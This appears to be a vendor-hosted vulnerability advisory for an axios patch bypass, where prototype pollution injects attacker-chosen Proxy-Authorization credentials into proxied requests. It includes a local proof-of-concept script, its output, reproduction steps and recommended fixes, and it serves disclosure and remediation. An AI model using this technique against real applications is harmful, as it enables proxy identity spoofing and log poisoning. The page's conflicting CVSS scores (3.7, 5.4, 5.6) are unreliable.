GHSA-654m-c8p4-x5fp
LOWGHSA-654m-c8p4-x5fp is a low-severity (CVSS 3.7) CWE-113 vulnerability in axios. O3 Security confirms whether GHSA-654m-c8p4-x5fp is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Axios has a Patch Bypass: Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-654m-c8p4-x5fp.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-654m-c8p4-x5fp plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 365,017 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
axiosnpmDescription
[Patch Bypass] Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix in Axios 1.15.2
Summary
The Object.create(null) fix introduced in Axios 1.15.2 (GHSA-q8qp-cvcw-x6jj) protects the top-level config object from prototype pollution. However, nested objects created by utils.merge() (e.g., config.proxy) are still constructed as plain {} with Object.prototype in their chain.
The setProxy() function at lib/adapters/http.js:209-223 reads proxy.username, proxy.password, and proxy.auth without hasOwnProperty checks. When Object.prototype.username is polluted, setProxy() constructs a Proxy-Authorization header with attacker-controlled credentials and injects it into every proxied HTTP request.
Severity: Medium (CVSS 5.4)
Affected Versions: 1.15.2 (and potentially 1.15.1)
Vulnerable Component: lib/adapters/http.js (setProxy()) + lib/utils.js (merge())
CWE
- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
- CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')
CVSS 3.1
Score: 5.6 (Medium)
Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP triggered remotely via vulnerable dependency |
| Attack Complexity | High | Requires two preconditions: (1) PP in dependency tree, AND (2) the application must explicitly configure config.proxy. Unlike GHSA-q8qp-cvcw-x6jj which affected all requests unconditionally |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | Within the proxy authentication context |
| Confidentiality | Low | Attacker-controlled identity appears in proxy authentication logs, but the attacker does NOT see request/response data (unlike config.baseURL hijack) |
| Integrity | Low | Proxy-Authorization header injected; proxy may apply different access policies based on injected identity |
| Availability | Low | If proxy rejects the injected credentials, legitimate requests may fail |
Why This Is Lower Severity Than GHSA-q8qp-cvcw-x6jj (7.4 High)
| Factor | GHSA-q8qp-cvcw-x6jj | This Finding |
|---|---|---|
| Precondition | None — all requests affected | Must have config.proxy set |
config.baseURL PP | Hijacks all relative URL requests | Not applicable |
config.auth PP | Injects Authorization to target server | Only injects Proxy-Authorization to proxy |
| Attacker sees traffic | Yes (via baseURL redirect) | No — only proxy identity affected |
| Impact scope | Universal — every axios request | Only requests with explicit proxy config |
This Is a Patch Bypass
This vulnerability bypasses the fix introduced in Axios 1.15.2 for GHSA-q8qp-cvcw-x6jj. The fix correctly uses Object.create(null) for the config object, blocking direct prototype pollution on config.proxy, config.auth, etc.
However, the fix is incomplete: when a user legitimately sets config.proxy = { host: 'proxy.corp', port: 8080 }, the mergeConfig() function passes this object through utils.merge(), which creates a new plain {} object (lib/utils.js:406: const result = {};). This new object inherits from Object.prototype, re-opening the prototype pollution attack surface on the nested proxy object.
| Layer | Protection | Status |
|---|---|---|
config (top-level) | Object.create(null) | ✓ Fixed |
config.proxy (nested) | utils.merge() → const result = {} | ✗ NOT Fixed |
setProxy() reads | proxy.username, proxy.auth without hasOwnProperty | ✗ NOT Fixed |
Root Cause Analysis
Step 1: utils.merge() creates plain {} for nested objects
File: lib/utils.js, line 406
function merge(/* obj1, obj2, obj3, ... */) {
const result = {}; // ← Plain object with Object.prototype!
// ...
}
When mergeConfig() processes config.proxy, getMergedValue() calls utils.merge(), which creates a plain {} for the nested object. This plain object inherits from Object.prototype.
Step 2: setProxy() reads proxy properties without hasOwnProperty
File: lib/adapters/http.js, lines 209-223
function setProxy(options, configProxy, location) {
let proxy = configProxy;
// ...
if (proxy) {
if (proxy.username) { // ← traverses Object.prototype!
proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');
}
if (proxy.auth) { // ← traverses Object.prototype!
const validProxyAuth = Boolean(proxy.auth.username || proxy.auth.password);
if (validProxyAuth) {
proxy.auth = (proxy.auth.username || '') + ':' + (proxy.auth.password || '');
}
// ...
const base64 = Buffer.from(proxy.auth, 'utf8').toString('base64');
options.headers['Proxy-Authorization'] = 'Basic ' + base64; // ← INJECTED!
}
// ...
}
}
Complete Attack Chain
Object.prototype.username = 'attacker'
Object.prototype.password = 'stolen-creds'
│
▼
User config: { proxy: { host: 'proxy.corp', port: 8080 } }
│
▼
mergeConfig() → utils.merge() → new plain {}
config.proxy = { host: 'proxy.corp', port: 8080 } (own properties)
config.proxy inherits from Object.prototype (has .username, .password)
│
▼
setProxy() at http.js:209:
proxy.username → 'attacker' (from Object.prototype) → truthy!
proxy.auth = 'attacker' + ':' + 'stolen-creds'
│
▼
http.js:223: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
Injected into EVERY proxied HTTP request!
Proof of Concept
import http from 'http';
import axios from './index.js';
// Proxy server logs received Proxy-Authorization
const proxyServer = http.createServer((req, res) => {
console.log('Proxy-Authorization:', req.headers['proxy-authorization']);
res.writeHead(200);
res.end('OK');
});
await new Promise(r => proxyServer.listen(0, r));
const proxyPort = proxyServer.address().port;
// Target server
const target = http.createServer((req, res) => { res.writeHead(200); res.end(); });
await new Promise(r => target.listen(0, r));
// Simulate prototype pollution from vulnerable dependency
Object.prototype.username = 'attacker';
Object.prototype.password = 'stolen-creds';
// Developer sets proxy WITHOUT auth — expects no auth header
await axios.get(`http://127.0.0.1:${target.address().port}/api`, {
proxy: { host: '127.0.0.1', port: proxyPort, protocol: 'http' },
});
// Proxy receives: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
// Decoded: attacker:stolen-creds
delete Object.prototype.username;
delete Object.prototype.password;
proxyServer.close();
target.close();
Reproduction Environment
Axios version: 1.15.2 (latest patched release)
Node.js version: v20.20.2
OS: macOS Darwin 25.4.0
Reproduction Steps
# 1. Install axios 1.15.2
npm pack [email protected]
tar xzf axios-1.15.2.tgz && mv package axios-1.15.2
cd axios-1.15.2 && npm install
# 2. Save PoC as poc.mjs (code from Section 7 above)
# 3. Run
node poc.mjs
Verified PoC Output
=== Axios 1.15.2: PP → Proxy-Authorization Injection ===
[1] Normal request with proxy (no auth):
Proxy-Authorization: none
[2] Prototype Pollution: Object.prototype.username = "attacker"
Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
Decoded: attacker:stolen-creds
→ PP injected proxy credentials: attacker:stolen-creds
[3] Impact:
✗ Attacker injects Proxy-Authorization into all proxied requests
✗ If proxy logs auth, attacker credential appears in proxy logs
✗ If proxy authenticates based on this, attacker controls proxy identity
✗ Works on 1.15.2 despite null-prototype config fix
✗ Root cause: proxy object is plain {} from utils.merge, NOT null-prototype
Confirming the Bypass Mechanism
Direct PP (config.proxy) — BLOCKED by 1.15.2:
Object.prototype.proxy = { host: 'evil' }
config.proxy = undefined ← null-prototype blocks ✓
Nested PP (proxy.username) — BYPASSES 1.15.2:
Object.prototype.username = 'attacker'
config.proxy = { host: 'legit', port: 8080 } ← user-set, own properties
config.proxy own keys: ['host', 'port'] ← username NOT own
config.proxy.username = 'attacker' ← inherited from Object.prototype!
hasOwn(config.proxy, 'username') = false
## Impact Analysis
- **Proxy Identity Spoofing:** The injected `Proxy-Authorization` header authenticates all requests to the proxy as the attacker. If the proxy enforces authentication-based access control or logging, the attacker controls the identity.
- **Proxy Log Poisoning:** Proxy servers that log authenticated usernames will record "attacker" instead of the real user, enabling audit trail manipulation.
- **Credential Injection Amplification:** If the proxy forwards the `Proxy-Authorization` header upstream (some transparent proxies do), the attacker's credentials propagate through the proxy chain.
- **Universal Scope When Proxy Is Configured:** Affects every axios request that uses a proxy configuration without explicit auth — a common pattern in corporate environments.
### Prerequisite
- Application must use `config.proxy` (explicit proxy configuration)
- A separate prototype pollution vulnerability must exist in the dependency tree
- `Object.prototype.username` or `Object.prototype.auth` must be polluted
## Recommended Fix
### Fix 1: Use `hasOwnProperty` in `setProxy()`
```javascript
function setProxy(options, configProxy, location) {
let proxy = configProxy;
// ...
if (proxy) {
const hasOwn = (obj, key) => Object.prototype.hasOwnProperty.call(obj, key);
if (hasOwn(proxy, 'username')) {
proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');
}
if (hasOwn(proxy, 'auth')) {
// ... existing auth handling ...
}
}
}
Fix 2: Use null-prototype objects in utils.merge()
// lib/utils.js line 406
function merge(/* obj1, obj2, obj3, ... */) {
const result = Object.create(null); // ← null-prototype for nested objects too
// ...
}
Fix 3 (Comprehensive): Apply null-prototype to all objects created by getMergedValue()
References
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | axios | ≥ 1.15.2&&< 1.16.0 | 1.16.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for axios. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update axios to 1.16.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-654m-c8p4-x5fp is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-654m-c8p4-x5fp is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-654m-c8p4-x5fp. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-654m-c8p4-x5fp in your dependencies?
O3 detects GHSA-654m-c8p4-x5fp across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.